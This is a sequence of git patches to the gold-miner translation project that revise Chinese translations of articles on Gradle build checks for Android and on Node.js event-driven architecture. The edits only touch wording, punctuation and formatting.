 * [Airbnb 的前端重构](https://juejin.im/post/592e3af8ac502e006c9c3f1f?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [Web 开发者安全清单](https://juejin.im/post/592651c944d904006400cd88?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([GangsterHyj](https://github.com/GangsterHyj) 翻译)

From c1b3db1cd65424337ccf01d62e2b90224886e848 Mon Sep 17 00:00:00 2001
From: jacksonke <jacksonke20120711@gmail.com>
Date: Tue, 6 Jun 2017 00:01:52 +0800
Subject: [PATCH 612/638] update

---
 TODO/make-or-break-with-gradle.md | 56 +++++++++++++++----------------
 1 file changed, 28 insertions(+), 28 deletions(-)

diff --git a/TODO/make-or-break-with-gradle.md b/TODO/make-or-break-with-gradle.md
index 0b46edc96df..8c9620ffc59 100644
--- a/TODO/make-or-break-with-gradle.md
+++ b/TODO/make-or-break-with-gradle.md
@@ -2,12 +2,12 @@
 > * 原文作者：[Tancho Markovik](https://medium.com/@smarkovik)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[jacksonke](https://github.com/jacksonke)
-> * 校对者：[phxnirvana](https://github.com/phxnirvana)
+> * 校对者：[phxnirvana](https://github.com/phxnirvana) [stormrabbit](https://github.com/stormrabbit)
 
 # 使用 Gradle 做构建检查 #
 
-你是否听过这个词, 垃圾代码（***Legacy Code***）? 
-你是否考虑过在实际工作中，你也会制造垃圾代码?
+你是否听过这个词, 垃圾代码（**Legacy Code**）? 
+你是否考虑过在实际工作中，你也会制造垃圾代码？
 
 那感觉挺可怕的，对吧？
 
@@ -15,14 +15,14 @@
 我会问自己这个问题，最后决定对这个课题做一些研究。我尝试去弄清楚开发者是如何定义垃圾代码的。
 在我搜索的时候，我发现这么个定义：
 
-> “有一种常见的，错误的观点认为垃圾代码是旧代码。虽然一些软件开发人员将垃圾代码视为一个写得不好的程序，但实际上，垃圾代码其实是开发者不再精心设计，而疲于不断修补的代码。客户的需求一直在变化，代码也要跟着变动，久而久之，无休止的变动会让最初编写好的代码演变成一个复杂的怪物。当不破坏原有的逻辑或者功能就无法添加新特性时，开发者就会将这种代码视作垃圾代码。这个时候，开发人员可能会开始尝试新的系统。”
+> “有一种常见的误区，认为垃圾代码就是旧代码。虽然一些软件开发人员将垃圾代码视为一个写得不好的程序，但实际上，垃圾代码其实是开发者不再精心设计，而疲于不断修补的代码。客户的需求一直在变化，代码也要跟着变动，久而久之，无休止的变动会让最初编写好的代码演变成一个复杂的怪物。当不破坏原有的逻辑或者功能就无法添加新特性时，开发者就会将这种代码视作垃圾代码。这个时候，开发人员可能会开始尝试新的系统。”
 
 听起来是否很熟悉？
 那么，我们要如何解决这种问题呢？
 
 最近我多数工作都是基于 Android 平台的，所以我接下去的讨论都会基于这个平台。我加入 ContentSquare 一段时间了，我很幸运能够直接影响两个移动平台。
 
-“*我会从所犯的错误中汲取教训，同时不让其他人再一次犯同样的错误！*”
+“**我会从所犯的错误中汲取教训，同时不让其他人再一次犯同样的错误！**”
 
 我开始研究相关工具，最终我想做的是在两个平台上实施相同的安全策略。
 
@@ -52,12 +52,12 @@ Git 特征分支模型。图片由 github.com 提供
 在 GitHub 上设置分支保护
 
 以上介绍的是如何禁止开发者直接将代码提交到 master 分支。
-从现在开始，我们必须提交 pull request，在这个请求中，至少有个人会审核你的代码。
+从现在开始，只有通过提交 pull request 才能进行修改。这意味着，至少有一个人会审核你的代码。
 
 这有两个好处：
 
 1. 通过 pull 请求，我们会给关注的人发送代码变动的通知，他们能够通过审核代码来知悉代码的变动情况。
-2. 采用彼此间的审核，我们可以减少错误的数量，因为当有人犯错的时候，其他人可以注意到。
+2. 采用彼此间的审核，我们可以减少错误的数量。当有人试图取巧而犯错的时候，其他人会注意到的。
 
 目前，我们的构建循环非常简单。
 
@@ -72,10 +72,10 @@ Git 特征分支模型。图片由 github.com 提供
 
 ### [Lint](https://developer.android.com/studio/write/lint.html) ###
 
-由于 lint 是一个常见的工具，我将不会详细介绍它，而只是向您展示如何启用它。
+由于 lint 是一个常见的工具，这里不会详细介绍它，只会向您展示如何启用它。
 
 Lint 是 Android 插件的一部分，但默认情况下，它没有在新项目中配置。
-要启用它，可以将下面的代码段添加到 ***build.gradle*** 文件中的 ***android*** 代码段内。
+要启用它，可以将下面的代码段添加到 **build.gradle** 文件中的 **android** 代码段内。
 
 ```
 lintOptions {
@@ -95,9 +95,9 @@ lintOptions {
 2. abortOnError = true — 发生 Lint 错误时，终止编译
 3. lintConfig — 定义 Lint 规则的配置文件
 
-现在我们已经介绍了 lint，我们需要实际运行它。
+现在我们已经配置过 lint，是时候动手运行看看。
 
-Gradle 的 Android 插件有不少预定义的 tasks，你可以使用 *tasks* 选项罗列出所有的 tasks。
+Gradle 的 Android 插件有不少预定义的 tasks，你可以使用 **tasks** 选项罗列出所有的 tasks。
 输出的日志数量巨大，下面是其中验证任务的片段：
 
 ```
@@ -133,7 +133,7 @@ testReleaseUnitTest - Run unit tests for the release build.
 ... etc ...
 ```
 
-我喜欢用 *check*，它是这样描述的 “runs all checks”。
+我喜欢用 **check**，它是这样描述的 “运行所有检查 （runs all checks）”。
 
 默认情况下， check 会调用所有可用的模块工程对应的 check 任务，这意味着，运行：
 
@@ -155,7 +155,7 @@ testReleaseUnitTest - Run unit tests for the release build.
 
 **PMD** 是一个代码分析工具. 它能发现常见的编程缺陷，如未使用的变量，空的 catch 块，不必要的对象创建等等。 PMD 工作在源代码层，因此会发现以下问题：违反命名规则，缺少花括号，错误的 null 检查，长参数列表，不必要的构造函数，switch 中缺少 break 等。PMD还会告诉您代码的循环复杂性，这我觉得非常有帮助。
 
-添加 PMD 作为分析器，我们需要在 build.gradle 文件中追加一些内容。我们可以添加下面的代码段
+为了添加 PMD 作为分析器，我们需要在 build.gradle 文件中追加一些内容。我们可以添加下面的代码段
 
 ```
 apply plugin: 'pmd'
@@ -185,11 +185,11 @@ task pmd(type: Pmd, dependsOn: "assembleDebug") {
 
 在这个脚本中，值得注意的有趣的点是：
 
-1. check.dependsOn ‘pmd’ — 这行将 PMD 和 check 任务关联起来了. 这意味着，当我们调用 gradle check, pmd 将作为依赖任务被调用. 这样, 团队可以习惯于调用 gradle check，所有相关的检查也同时进行。
+1. check.dependsOn ‘pmd’ — 这行将 PMD 和 check 任务关联起来了。 这意味着，当我们调用 gradle check 的同时, pmd 作为依赖任务也会被一同调用。 这样, 团队可以习惯于调用 gradle check，所有相关的检查也同时进行。
 2. ruleSetFiles — 定义将在此构建中使用的一组规则和细节。
 3. reports block — 指定要扫描的内容，要忽略的内容以及要报告的位置。
 
-**FindBugs** 是一个检查 Java 代码中可能存在的 bugs 的工具. 潜在错误分为四个等级: (i) 最严重的 (scariest), (ii) 严重的 （scary）, (iii) 麻烦的 (troubling) 和 (iv) 关心的 (concerned).它会给开发者关于代码中可能存在的问题的严重性给予提示。 FindBugs 工作于字节码层面, 而非源码层面.
+**FindBugs** 是一个检查 Java 代码中潜在 bugs 的工具. 潜在错误分为四个等级: (i) 最严重的 (scariest)， (ii) 严重的 （scary）， (iii) 麻烦的 (troubling) 和 (iv) 关心的 (concerned)。它会给开发者关于代码中可能存在的问题的严重性给予提示。 FindBugs 工作于字节码层面, 而非源码层面。
 
 ```
 apply plugin: 'findbugs'
@@ -223,11 +223,11 @@ task findbugs(type: FindBugs, dependsOn: "assembleDebug") {
 
 1. check.dependsOn ‘findbugs’ — 跟之前一样，我们将它和 check 任务关联。
 2. ignoreFailures = false — 定义发现的问题是要归类为警告还是错误。
-3. reportLevel = “max” — 指定报错的阈值. 如果设置为 “low”, 则不需要过滤所发现的问题. 如果设置为 “medium” (默认值), 低优先级的问题就会直接被滤掉. 如果设置为 “high”, 只有严重的问题才会被提出。
-4. effort — 设置分析的等级. 启用分析，增加精度并发现更多错误，但可能需要更多内存并花费更多时间来完成。
+3. reportLevel = “max” — 指定报错的阈值. 如果设置为 “low”， 则不需要过滤所发现的问题。 如果设置为 “medium” (默认值)， 低优先级的问题就会直接被滤掉。 如果设置为 “high”， 只有严重的问题才会被提出。
+4. effort —-- 设置分析的等级. 启用分析，增加精度并发现更多错误，但可能需要更多内存并花费更多时间来完成。
 5. reports = 报告生成的位置
 
-**Infer** 是针对 Java, Objective-C 和 C 的静态分析工具. infer 的优点在于它的双重检测所有的`@Nullable` vs `@NonNull` 注解的变量， 同时对于 Android，它有一些针对性的检测. Infer 是个独立的工具, 这意味着默认情况下，它不需要集成到 Gradle中, 但是 Uber 不错的小伙子们开发了 [Gradle plugin for Infer](https://github.com/uber-common/infer-plugin/) .
+**Infer** 是针对 Java， Objective-C 和 C 的静态分析工具。 infer 的优点在于它的双重检测所有的`@Nullable` vs `@NonNull` 注解的变量， 同时对于 Android，它有一些针对性的检测。 Infer 是个独立的工具， 这意味着默认情况下，它不需要集成到 Gradle 中， 但是 Uber 的小伙伴开发了 [Gradle plugin for Infer](https://github.com/uber-common/infer-plugin/) .
 为了在构建过程中加入这个分析器，我们还是将它加入 Gradle 中。
 
 
@@ -249,7 +249,7 @@ inferPlugin {
 
 添加这个插件是相对直接的，只需要定义哪些源文件需要检测，哪些不需要检测。
 
-既然我们已经有了一些分析器，调用 ./***gradlew check*** 然后查看会发生什么。
+既然我们已经有了一些分析器，调用 ./**gradlew check** 然后查看会发生什么。
 在大量的日志中，你会看到类似于下面的内容
 
 ```
@@ -286,9 +286,9 @@ Ran lint on variant debug: 0 issues found
 
 但是定义代码风格是件痛苦的事情！
 
-Google 又救场了! Google 实际上有对外公开了它的[代码风格](http://checkstyle.sourceforge.net/reports/google-java-style-20170228.html)。 因为实际上和 IntelliJ Idea 默认风格很类似，我仅仅修改了Android studio 的“代码格式模板”，只需花费 10–15 分钟,[ 我就设置完了](https://github.com/smarkovik/make-or-break/tree/master/config/codestyle).
+Google 又救场了! Google 实际上有对外公开了它的[代码风格](http://checkstyle.sourceforge.net/reports/google-java-style-20170228.html)。 因为实际上和 IntelliJ Idea 默认风格很类似，我仅仅修改了 Android studio 的“代码格式模板”，只需花费 10–15 分钟，[ 我就设置完了](https://github.com/smarkovik/make-or-break/tree/master/config/codestyle).
 
-***专业提示*** *: 如果您想不断自动格式化您的代码，IntelliJ 已经为你提供了. 您可以轻松地录制宏，它能够重新排列代码，重新给 imports 排序，移除未使用的 imports，以及执行其他与代码风格相关操作。当结束的时候，在末尾加上 “save all” . 接下去, 用 ctrl + s 保存宏定义. 这些设置可以分享到团队内, 它会自动为每个人工作.*
+**专业提示** **: 如果您想不断自动格式化您的代码，IntelliJ 已经为你提供了。 您可以轻松地录制宏，它能够重新排列代码，重新给 imports 排序，移除未使用的 imports，以及执行其他与代码风格相关操作。当结束的时候，在末尾加上 “save all” 。 接下去, 用 ctrl + s 保存宏定义。 这些设置可以分享到团队内, 它会自动为每个人工作。**
 
 ### 生成文档 ###
 
@@ -324,7 +324,7 @@ afterEvaluate {
 
 ### 代码覆盖率报告 ###
 
-这里我们会使用 Jacoco, 一个标准 java 插件.
+这里我们会使用 Jacoco, 一个标准 java 插件。
 
 ```
 apply plugin: 'jacoco'
@@ -359,9 +359,9 @@ task coverage(type: JacocoReport, dependsOn: "testDebugUnitTest") {
 }
 ```
 
-这样, 类似地，执行 ./*gradlew* coverage 你可以在 `build/reports/coverage` 找到代码覆盖率报告。
+这样, 类似地，执行 ./**gradlew** coverage 你可以在 `build/reports/coverage` 找到代码覆盖率报告。
 
-一件重要的事情, 当开发者忘了删除所添加的调试代码，或者是注释掉将来才会使用的代码，这可能会引起一些问题。
+值得注意的是，为了减少代码错误（code smell），当开发者忘了删除所添加的调试代码、或者是注释掉将来才会使用的代码的时候，应该终止编译。
 
 ```
 e.printStacktrace();
@@ -374,7 +374,7 @@ System.out.println();
 //}
 ```
 
-这里有个简单的解决方式, 只需要将下面的规则添加到 checkstyle 规则集中.
+这里有个简单的解决方式, 只需要将下面的规则添加到 checkstyle 规则集中。
 
 ```
 <module name="Regexp">
@@ -404,7 +404,7 @@ System.out.println();
 ./gradlew assemble // assemble all build flavors
 ```
 
-到这里，我们在必要的地方都已经加了检测校验，在最后我们还需要设置 Github，除非通过了 Jenkins 编译，否则不许分支合并。
+到这里，我们在必要的地方都已经加了检测校验。在最后我们还需要设置 Github，除非通过了 Jenkins 编译，否则不许分支合并。
 使用 Github 插件，这会是相当容易的。你可以添加一个编译步骤，运行一次，让它可以在 Github 上使用。
 
 ![](https://cdn-images-1.medium.com/max/800/1*3udc8DO-_c9DaWQcnjcq0w.png)
@@ -425,7 +425,7 @@ System.out.println();
 
 ### 总结 ###
 
-You now have a mechanism which runs :
+你现在拥有包含如下规则的机制：
 
 - 代码风格检测 ✓
 - 静态代码分析 (Android specific and Java related) ✓
@@ -434,7 +434,7 @@ You now have a mechanism which runs :
 - 使用 Jenkins 来不断发现问题 ✓
 - 保护 master 分支 ✓
 
-现在你还需要做得是集中精力在代码的体系结构以及持续优化这个系统
+棒极了，剩下要做的就是集中精力优化代码的体系结构以及持续优化整个系统。
 
 我的 [github 项目](https://github.com/smarkovik/make-or-break)提供了一个样例，包含了上面提到的多数特性。
 

From a70e599c3b1f1433a4a09bb3ed53bfbd32ccf915 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 6 Jun 2017 02:44:09 -0500
Subject: [PATCH 613/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 2a19ab79490..c3d6f37cb17 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -8,11 +8,11 @@
 
 ![](https://cdn-images-1.medium.com/max/2000/1*Nozl2qd0SV8Uya2CEkF_mg.jpeg)
 
-绝大部分的nodejs中的对象，比如 HTTP 请求、响应以及“流”，都使用了 `eventEmitter` 模块来支持监听和触发事件。
+绝大部分 Node.js 对象，比如 HTTP 请求、响应以及“流”，都使用了 `eventEmitter` 模块来支持监听和触发事件。
 
 ![](https://cdn-images-1.medium.com/max/800/1*74K5OhiYt7WTR0WuVGeNLQ.png)
 
-事件驱动最简单的形式是常见的 Nodejs 函数回调，例如：`fs.readFile`。事件被触发时，Node 就会调用回调函数，所以回调函数可视为事件处理程序。
+事件驱动最简单的形式是常见的 Node.js 函数回调，例如：`fs.readFile`。事件被触发时，Node 就会调用回调函数，所以回调函数可视为事件处理程序。
 
 让我们来探究一下这个基础形式。
 

From 18e0d783a1caa90cf285fa8abff183606b3a4c33 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 6 Jun 2017 02:47:25 -0500
Subject: [PATCH 614/638] Update
 understanding-node-js-event-driven-architecture.md

---
 .../understanding-node-js-event-driven-architecture.md | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index c3d6f37cb17..1885507276e 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -20,7 +20,7 @@
 
 以前没有原生的 promise、async/await 特性支持，Node 最原始的处理异步的方式是使用 callback。
 
-callback 函数从本质上讲就是作为参数传递给其他函数的函数，在JS中这是可能的，因为函数是一等公民。
+callback 函数从本质上讲就是作为参数传递给其他函数的函数，在 JS 中这是可能的，因为函数是一等公民。
 
 callback 函数并不一定异步调用，这一点非常重要。在函数中，我们可以根据需要同步/异步调用 callback。
 
@@ -123,11 +123,11 @@ const readFileAsArray = function(file, cb = () => {}) {
 };
 ```
 
-现在这个函数返回了一个 Promise 对象，该对象包含 `fs.readFile` 的异步调用，Promise 对象暴露了两个参数：resolve 函数和 reject 函数。
+现在这个函数返回了一个 Promise 对象，该对象包含 `fs.readFile` 的异步调用，Promise 对象暴露了两个参数：`resolve` 函数和 `reject` 函数。
 
-reject 函数的作用就和我们之前 callback 中处理错误是一样的，而 resolve 函数也就和我们正常处理返回值是一样的。
+`reject` 函数的作用就和我们之前 callback 中处理错误是一样的，而 `resolve` 函数也就和我们正常处理返回值是一样的。
 
-我们剩下唯一要做的就是在实例中指定 reject resolve 函数的默认值，在 Promise 中，我们只要写一个空函数即可，例如 `(\) => {}`.
+我们剩下唯一要做的就是在实例中指定 `reject` `resolve` 函数的默认值，在 Promise 中，我们只要写一个空函数即可，例如 `(\) => {}`.
 
 #### 在 async/await 中使用 Promise ####
 
@@ -162,7 +162,7 @@ countOdd();
 
 ### EventEmitter 模块 ###
 
-EventEmitter 是 NodeJS 中基于事件驱动的架构的核心，它用于对象之间通信，很多 Nodejs 的原生模块都继承自这个模块。
+EventEmitter 是 Node.js 中基于事件驱动的架构的核心，它用于对象之间通信，很多 Node.js 的原生模块都继承自这个模块。
 
 模块的概念很简单，Emitter 对象触发已命名事件，使之前已注册的监听器被调用，所以 Emitter 对象有两个主要特征：
 

From 1aed3547e7873166a0f5637a2ce2d6f8e89e89e5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 6 Jun 2017 02:54:48 -0500
Subject: [PATCH 615/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 1885507276e..e4f25b3cd5d 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -154,7 +154,7 @@ countOdd();
 
 首先我们创建了一个 `async` 函数，只是在定义 function 的时候前面加了 `async` 关键字。在 `async` 函数里，使用关键字 `await` 使 `readFileAsArray` 函数好像返回普通变量一样，这之后的编码也好像 `readFileAsArray` 是同步方法一样。
 
-`async` 函数的执行过程是非常易读的，而处理错误只需要使用 `try/catch` 即可。
+`async` 函数的执行过程是非常易读的，而处理错误只需要在异步调用外面包上一层 `try/catch` 即可。
 
 在 `async/await` 函数中我们我们不需要使用任何特殊 API（像: `.then` 、 `.catch`\），我们仅仅使用了特殊关键字，并使用普通 JavaScript 编码即可。
 
@@ -412,7 +412,7 @@ withTime.on('error', (err) => {
 execute: 4.276ms
 ```
 
-记住：Node目前的表现和Promise不同 ：只是输出警告，但最终会改变：
+记住：Node.js 目前的表现和 Promise 不同 ：只是输出警告，但最终会改变：
 
 ```bash
 UnhandledPromiseRejectionWarning: Unhandled promise rejection (rejection id: 1): Error: ENOENT: no such file or directory, open ''

From a9191fb4467629fc4be53dc3459724270abe98f2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 6 Jun 2017 02:59:06 -0500
Subject: [PATCH 616/638] Update
 understanding-node-js-event-driven-architecture.md

---
 ...nderstanding-node-js-event-driven-architecture.md | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index e4f25b3cd5d..dbefa22ff4a 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -84,7 +84,7 @@ readFileAsArray('./numbers.txt', (err, lines) => {
 
 这段代码会读取数组中的字符串，解析成数字并统计奇数个数。
 
-在 NodeJS 的回调风格中的写法是这样的：回调函数的第一个参数是一个可能为 null 的错误对象 err，而回调函数作为主函数的最后一个参数传入。 你应该永远这么做, 因为使用者们极有可能是这么以为的。
+在 NodeJS 的回调风格中的写法是这样的：回调函数的第一个参数是一个可能为 null 的错误对象 err，而回调函数作为主函数的最后一个参数传入。 你应该永远这么做，因为使用者们极有可能是这么以为的。
 
 #### 现代 JavaScript 中回调函数的替代品 ####
 
@@ -266,7 +266,7 @@ After executing
 
 这明显有问题，异步调用之后不再精确，“Done with execute” 、 “After executing” 出现在了 “\*\*\* Executing task \*\*\*”之前（应该在后）。
 
-当异步方法结束的时候 emit 一个事件,我们需要把 callback/promise 与事件通信结合起来，刚刚的例子证明了这一点。
+当异步方法结束的时候 emit 一个事件，我们需要把 callback/promise 与事件通信结合起来，刚刚的例子证明了这一点。
 
 使用事件驱动来代替传统 callback 有一个好处是：在定义多个监听器后，我们可以多次对同一个 emit 做出反应。如果要用 callback 来做到这一点的话，我们需要些很多的逻辑在同一个 callback 中，事件是应用程序允许多个外部插件在应用程序核心之上构建功能的一个好方法，你可以把它们当作钩子点来允许利用状态变化做更多自定义的事。
 
@@ -334,7 +334,7 @@ class WithTime extends EventEmitter {
 }
 ```
 
-这真的看起来更易读了呢！`async/await` 特性使我们的代码更加贴近 JavaScript 本身, 我认为这是一大进步。
+这真的看起来更易读了呢！`async/await` 特性使我们的代码更加贴近 JavaScript 本身，我认为这是一大进步。
 
 #### 事件参数及错误 ####
 
@@ -352,7 +352,7 @@ this.emit('error', err);
 this.emit('data', data);
 ```
 
-我们可以在命名事件之后使用任何需要的参数, 这些参数将在我们为命名事件注册的监听器函数内部可用。
+我们可以在命名事件之后使用任何需要的参数，这些参数将在我们为命名事件注册的监听器函数内部可用。
 
 例如：`data` 事件执行的时候，监听函数在注册的时候就会允许我们的接收事件触发的 data 参数，而 asyncFunc 函数也实实在在暴露给了我们。
 
@@ -436,9 +436,9 @@ process.on('uncaughtException', (err) => {
 });
 ```
 
-然而，想象在同一时间发生多个错误事件。这意味着上述的 uncaughtException 监听器会多次触发，这可能对一些清理代码是个问题。一个典型例子是, 多次调用数据库关闭操作。
+然而，想象在同一时间发生多个错误事件。这意味着上述的 uncaughtException 监听器会多次触发，这可能对一些清理代码是个问题。一个典型例子是，多次调用数据库关闭操作。
 
-EventEmitter 模块暴露一个 once 方法。这个方法仅允许调用一次监听器, 而非每次触发都调用。所以，这是一个 uncaughtException 的实际用例,在第一次未捕获的异常发生时，我们开始做清理工作，并且知道我们最终会退出进程。
+EventEmitter 模块暴露一个 once 方法。这个方法仅允许调用一次监听器，而非每次触发都调用。所以，这是一个 uncaughtException 的实际用例，在第一次未捕获的异常发生时，我们开始做清理工作，并且知道我们最终会退出进程。
 
 #### 监听器的顺序 ####
 

From 737f55756329c51e489d9a21f8fa6cae6e0037e1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 6 Jun 2017 03:04:10 -0500
Subject: [PATCH 617/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index dbefa22ff4a..38daee8340b 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -104,7 +104,7 @@ readFileAsArray('./numbers.txt')
 
 作为调用 callback 的替代品，我们用 `.then` 函数来接受主方法的返回值；`.then` 中我们可以和之前在回调函数中一样处理数据，但是对于错误我们用`.catch`函数来处理。
 
-现代 JavaScript 中的 Promise 对象，使主函数支持 Promise 接口变得更加容易。我们把刚刚的 `readFileAsArray` 方法用 Promise 来改写一下：
+现代 JavaScript 中的 Promise 对象，使主函数支持 Promise 接口变得更加容易。我们把刚刚的 `readFileAsArray` 方法用改写一下以支持 Promise：
 
 ```js
 const readFileAsArray = function(file, cb = () => {}) {

From 1ff2352130f641ad2a5bf76d688ef6392ebea048 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 6 Jun 2017 03:07:55 -0500
Subject: [PATCH 618/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 38daee8340b..92cc6b7e30f 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -133,7 +133,7 @@ const readFileAsArray = function(file, cb = () => {}) {
 
 当你需要循环异步函数时，使用 Promise 会让你的代码更易阅读，而如果使用回调函数，事情只会变得混乱。
 
-Promise 是一个小小的进步，generator 是更大一些的小进步，但是 async/await 函数的到来，让这一步变得更有力了，它的编码风格让函数的可读性就像同步函数一样轻松。
+Promise 是一个小小的进步，generator 是更大一些的小进步，但是 async/await 函数的到来，让这一步变得更有力了，它的编码风格让异步代码就像同步一样易读。
 
 我们用 async/await 函数特性来改写刚刚的调用 `readFileAsArray` 过程：
 

From ac6cb3659a07d9a9629a1c88829249ec18980c1d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 6 Jun 2017 03:10:37 -0500
Subject: [PATCH 619/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 92cc6b7e30f..1ae1b8e333e 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -386,7 +386,7 @@ withTime.execute(fs.readFile, ''); // BAD CALL
 withTime.execute(fs.readFile, __filename);
 ```
 
-上面代码中调用 excute 会触发一个错误，Node 进程会崩溃然后退出：
+第一个 execute 函数的调用会触发一个错误，Node 进程会崩溃然后退出：
 ```bash
 events.js:163
       throw er; // Unhandled 'error' event

From faa2e6bc72fd0153e37cfa17a2d8de5125452a0c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 6 Jun 2017 03:12:25 -0500
Subject: [PATCH 620/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 1ae1b8e333e..f5f97aa0f06 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -102,7 +102,7 @@ readFileAsArray('./numbers.txt')
   .catch(console.error);
 ```
 
-作为调用 callback 的替代品，我们用 `.then` 函数来接受主方法的返回值；`.then` 中我们可以和之前在回调函数中一样处理数据，但是对于错误我们用`.catch`函数来处理。
+作为调用 callback 的替代品，我们用 `.then` 函数来接受主方法的返回值，`.then` 中我们可以和之前在回调函数中一样处理数据，但是对于错误我们用`.catch`函数来处理。
 
 现代 JavaScript 中的 Promise 对象，使主函数支持 Promise 接口变得更加容易。我们把刚刚的 `readFileAsArray` 方法用改写一下以支持 Promise：
 
@@ -395,7 +395,7 @@ Error: ENOENT: no such file or directory, open ''
 
 ```
 
-第二个执行调用将受到之前崩溃的影响，可能并不会执行。
+第二个 excute 函数调用将受到之前崩溃的影响，可能并不会执行。
 
 如果我们注册一个监听函数来处理 `error` 对象，情况就不一样了：
 

From 0d335bcf053c71d3a523718960f7fe935cab6bfe Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 6 Jun 2017 03:13:44 -0500
Subject: [PATCH 621/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index f5f97aa0f06..4ac3eb152ab 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -191,7 +191,7 @@ myEmitter.emit('something-happened');
 
 触发一个事件即某种情况发生生的信号，这些情况通常是关于 Emitter 对象的状态改变的。
 
-我们使用 `on` 方法来注册，然后这些监听的方法将会在每一个 Emitter 对象 emit 的时候执行。
+我们使用 `on` 方法来注册，然后这些监听的方法将会在每一个 Emitter 对象 emit 它们对应名称的事件的时候执行。
 
 #### 事件 != 异步 ####
 

From dc4a58179cf9c724c078ecc30b3a50fec8fe49d1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 6 Jun 2017 03:15:37 -0500
Subject: [PATCH 622/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

